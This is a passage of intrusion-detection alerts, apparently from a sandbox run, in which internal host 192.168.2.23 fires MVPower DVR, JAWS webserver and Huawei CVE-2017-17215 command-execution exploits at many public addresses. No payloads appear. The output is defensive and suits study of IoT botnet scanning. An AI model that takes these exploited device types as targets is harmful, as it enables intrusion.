ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.139.67.159

Timestamp:	04/14/24-03:59:56.961818
SID:	2025883
Source Port:	35044
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.47.29.250

Timestamp:	04/14/24-04:00:08.179034
SID:	2030092
Source Port:	51996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 184.29.247.159

Timestamp:	04/14/24-04:00:09.017728
SID:	2025883
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 61.216.15.233

Timestamp:	04/14/24-04:00:19.054169
SID:	2025883
Source Port:	55180
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 106.120.182.166

Timestamp:	04/14/24-04:00:25.924647
SID:	2030092
Source Port:	56592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.6.167.60

Timestamp:	04/14/24-04:00:12.008878
SID:	2030092
Source Port:	58232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 149.248.6.29

Timestamp:	04/14/24-04:00:11.976055
SID:	2025883
Source Port:	50470
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 94.182.134.213

Timestamp:	04/14/24-04:00:08.355252
SID:	2025883
Source Port:	46802
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 70.65.82.244

Timestamp:	04/14/24-04:00:12.798790
SID:	2025883
Source Port:	46580
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.245.56.167

Timestamp:	04/14/24-04:00:25.900343
SID:	2030092
Source Port:	40928
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.98.190

Timestamp:	04/14/24-04:00:04.433794
SID:	2835222
Source Port:	51554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.51.193.217

Timestamp:	04/14/24-04:00:16.706077
SID:	2025883
Source Port:	54832
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.47.116.116

Timestamp:	04/14/24-04:00:24.882023
SID:	2030092
Source Port:	57072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.71.233.233

Timestamp:	04/14/24-04:00:05.646194
SID:	2030092
Source Port:	38762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 174.138.8.3

Timestamp:	04/14/24-04:00:29.546756
SID:	2025883
Source Port:	38032
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 164.90.150.192

Timestamp:	04/14/24-04:00:07.953083
SID:	2025883
Source Port:	46616
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.194.210.146

Timestamp:	04/14/24-04:00:20.008922
SID:	2025883
Source Port:	38168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.240.49.18

Timestamp:	04/14/24-04:00:24.575791
SID:	2025883
Source Port:	52942
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 78.47.233.99

Timestamp:	04/14/24-04:00:24.607773
SID:	2030092
Source Port:	35042
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 190.149.62.34

Timestamp:	04/14/24-04:00:05.051096
SID:	2025883
Source Port:	35774
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.234.98.243

Timestamp:	04/14/24-03:59:56.922627
SID:	2025883
Source Port:	54178
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.92.115.75

Timestamp:	04/14/24-04:00:12.562434
SID:	2030092
Source Port:	48196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.87.176.106

Timestamp:	04/14/24-04:00:16.769308
SID:	2025883
Source Port:	46822
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.227.200.135

Timestamp:	04/14/24-04:00:27.860863
SID:	2025883
Source Port:	56686
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 54.81.227.101

Timestamp:	04/14/24-03:59:56.311909
SID:	2025883
Source Port:	55290
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:13.497161
SID:	2030092
Source Port:	57142
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 161.111.63.218

Timestamp:	04/14/24-04:00:24.592533
SID:	2030092
Source Port:	56604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.205.244.98

Timestamp:	04/14/24-04:00:12.038889
SID:	2030092
Source Port:	41454
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 129.28.53.189

Timestamp:	04/14/24-04:00:12.937605
SID:	2030092
Source Port:	38666
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 96.74.81.73

Timestamp:	04/14/24-04:00:26.976807
SID:	2025883
Source Port:	44914
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 74.192.141.13

Timestamp:	04/14/24-04:00:24.478718
SID:	2030092
Source Port:	40828
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.157.77.150

Timestamp:	04/14/24-04:00:24.904149
SID:	2030092
Source Port:	57862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.171.34.193

Timestamp:	04/14/24-04:00:05.016775
SID:	2030092
Source Port:	60318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.29.247.159

Timestamp:	04/14/24-04:00:09.017728
SID:	2030092
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.131.28.55

Timestamp:	04/14/24-04:00:29.596205
SID:	2030092
Source Port:	37298
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 89.151.135.181

Timestamp:	04/14/24-04:00:25.934559
SID:	2025883
Source Port:	45166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 116.211.203.36

Timestamp:	04/14/24-04:00:33.862232
SID:	2025883
Source Port:	60138
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 150.60.98.40

Timestamp:	04/14/24-04:00:05.058210
SID:	2025883
Source Port:	43136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.245.56.167

Timestamp:	04/14/24-04:00:25.900343
SID:	2025883
Source Port:	40928
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.128.159.3

Timestamp:	04/14/24-04:00:24.923757
SID:	2030092
Source Port:	41946
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 78.4.115.21

Timestamp:	04/14/24-04:00:33.276664
SID:	2030092
Source Port:	55714
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 76.53.156.26

Timestamp:	04/14/24-04:00:29.402964
SID:	2030092
Source Port:	54972
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.248.6.29

Timestamp:	04/14/24-04:00:11.976055
SID:	2030092
Source Port:	50470
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:19.688340
SID:	2030092
Source Port:	57582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.234.98.243

Timestamp:	04/14/24-03:59:56.922627
SID:	2030092
Source Port:	54178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.224.74.17

Timestamp:	04/14/24-04:00:15.617091
SID:	2030092
Source Port:	49514
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.216.59.66

Timestamp:	04/14/24-04:00:19.922646
SID:	2030092
Source Port:	60592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.194.210.146

Timestamp:	04/14/24-04:00:20.008922
SID:	2030092
Source Port:	38168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 78.47.233.99

Timestamp:	04/14/24-04:00:24.607773
SID:	2025883
Source Port:	35042
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.40.228.134

Timestamp:	04/14/24-04:00:33.611924
SID:	2025883
Source Port:	40826
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 195.93.252.236

Timestamp:	04/14/24-04:00:18.378935
SID:	2025883
Source Port:	43818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 34.71.233.233

Timestamp:	04/14/24-04:00:05.646194
SID:	2025883
Source Port:	38762
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 24.32.193.60

Timestamp:	04/14/24-04:00:08.569817
SID:	2030092
Source Port:	38560
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.32.107.86

Timestamp:	04/14/24-04:00:34.157874
SID:	2030092
Source Port:	60420
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 180.188.192.104

Timestamp:	04/14/24-04:00:13.899234
SID:	2025883
Source Port:	33350
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 96.74.81.73

Timestamp:	04/14/24-04:00:26.976807
SID:	2030092
Source Port:	44914
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 163.171.146.85

Timestamp:	04/14/24-04:00:16.225784
SID:	2025883
Source Port:	56308
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 164.90.150.192

Timestamp:	04/14/24-04:00:07.953083
SID:	2030092
Source Port:	46616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.85.249.119

Timestamp:	04/14/24-04:00:17.027065
SID:	2025883
Source Port:	54860
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 92.54.13.41

Timestamp:	04/14/24-04:00:25.910501
SID:	2025883
Source Port:	60514
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 47.92.115.75

Timestamp:	04/14/24-04:00:12.562434
SID:	2025883
Source Port:	48196
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.253.246.27

Timestamp:	04/14/24-04:00:33.224100
SID:	2030092
Source Port:	58490
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.49.43.91

Timestamp:	04/14/24-04:00:24.919717
SID:	2025883
Source Port:	57226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.65.192.203

Timestamp:	04/14/24-04:00:29.388705
SID:	2030092
Source Port:	56638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.152.60.111

Timestamp:	04/14/24-04:00:33.468227
SID:	2025883
Source Port:	43274
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.75.27

Timestamp:	04/14/24-04:00:24.588473
SID:	2025883
Source Port:	57234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.128.178.31

Timestamp:	04/14/24-04:00:29.883244
SID:	2030092
Source Port:	59856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 155.94.203.145

Timestamp:	04/14/24-03:59:56.620149
SID:	2025883
Source Port:	47516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.81.227.101

Timestamp:	04/14/24-03:59:56.311909
SID:	2030092
Source Port:	55290
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.52.157.149

Timestamp:	04/14/24-04:00:05.670640
SID:	2025883
Source Port:	58740
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.182.134.213

Timestamp:	04/14/24-04:00:08.355252
SID:	2030092
Source Port:	46802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.131.28.55

Timestamp:	04/14/24-04:00:29.596205
SID:	2025883
Source Port:	37298
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.93.166.225

Timestamp:	04/14/24-04:00:15.509784
SID:	2025883
Source Port:	56790
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 70.65.82.244

Timestamp:	04/14/24-04:00:12.798790
SID:	2030092
Source Port:	46580
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:13.522053
SID:	2025883
Source Port:	57380
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.240.49.18

Timestamp:	04/14/24-04:00:24.575791
SID:	2030092
Source Port:	52942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 217.151.192.74

Timestamp:	04/14/24-04:00:17.023294
SID:	2030092
Source Port:	58804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.151.135.181

Timestamp:	04/14/24-04:00:25.934559
SID:	2030092
Source Port:	45166
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.33.218.4

Timestamp:	04/14/24-04:00:33.599068
SID:	2025883
Source Port:	34552
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.171.146.85

Timestamp:	04/14/24-04:00:16.225784
SID:	2030092
Source Port:	56308
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.87.217.44

Timestamp:	04/14/24-04:00:25.032250
SID:	2030092
Source Port:	42404
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 108.190.17.225

Timestamp:	04/14/24-04:00:19.926450
SID:	2025883
Source Port:	52844
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.211.1.42

Timestamp:	04/14/24-03:59:56.475226
SID:	2030092
Source Port:	40676
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.93.252.236

Timestamp:	04/14/24-04:00:18.378935
SID:	2030092
Source Port:	43818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 219.89.83.149

Timestamp:	04/14/24-04:00:19.094411
SID:	2030092
Source Port:	47800
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.40.228.134

Timestamp:	04/14/24-04:00:33.611924
SID:	2030092
Source Port:	40826
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 193.22.248.237

Timestamp:	04/14/24-04:00:24.943570
SID:	2030092
Source Port:	48720
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 207.142.0.111

Timestamp:	04/14/24-04:00:12.797286
SID:	2025883
Source Port:	46086
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 68.171.34.193

Timestamp:	04/14/24-04:00:05.016775
SID:	2025883
Source Port:	60318
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 68.183.83.157

Timestamp:	04/14/24-04:00:18.371927
SID:	2025883
Source Port:	40378
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 13.52.1.108

Timestamp:	04/14/24-03:59:56.628383
SID:	2025883
Source Port:	49568
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.149.62.34

Timestamp:	04/14/24-04:00:05.051096
SID:	2030092
Source Port:	35774
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 96.6.167.60

Timestamp:	04/14/24-04:00:12.008878
SID:	2025883
Source Port:	58232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.117.155

Timestamp:	04/14/24-04:00:27.738390
SID:	2829579
Source Port:	45180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.72.102.225

Timestamp:	04/14/24-04:00:05.533652
SID:	2030092
Source Port:	51582
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.207.81.150

Timestamp:	04/14/24-04:00:15.608061
SID:	2030092
Source Port:	57444
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.63.122.183

Timestamp:	04/14/24-03:59:56.264148
SID:	2030092
Source Port:	52558
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.128.178.31

Timestamp:	04/14/24-04:00:29.883244
SID:	2025883
Source Port:	59856
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.111.246.132

Timestamp:	04/14/24-04:00:33.630357
SID:	2030092
Source Port:	60084
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 197.26.114.150

Timestamp:	04/14/24-04:00:05.520888
SID:	2030092
Source Port:	42544
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 195.231.18.97

Timestamp:	04/14/24-04:00:13.906471
SID:	2025883
Source Port:	52116
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.216.15.233

Timestamp:	04/14/24-04:00:19.054169
SID:	2030092
Source Port:	55180
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.151.192.74

Timestamp:	04/14/24-04:00:17.023294
SID:	2025883
Source Port:	58804
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.70.75.170

Timestamp:	04/14/24-04:00:15.505726
SID:	2030092
Source Port:	50978
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 202.87.217.44

Timestamp:	04/14/24-04:00:25.032250
SID:	2025883
Source Port:	42404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.48.3.45

Timestamp:	04/14/24-04:00:05.149491
SID:	2030092
Source Port:	35692
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.207.75.27

Timestamp:	04/14/24-04:00:24.985363
SID:	2025883
Source Port:	57440
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.93.166.225

Timestamp:	04/14/24-04:00:15.509784
SID:	2030092
Source Port:	56790
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.52.157.149

Timestamp:	04/14/24-04:00:05.670640
SID:	2030092
Source Port:	58740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.231.18.97

Timestamp:	04/14/24-04:00:13.906471
SID:	2030092
Source Port:	52116
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 207.142.0.111

Timestamp:	04/14/24-04:00:12.797286
SID:	2030092
Source Port:	46086
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.124.63.244

Timestamp:	04/14/24-04:00:33.907686
SID:	2030092
Source Port:	34578
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.205.244.98

Timestamp:	04/14/24-04:00:12.038889
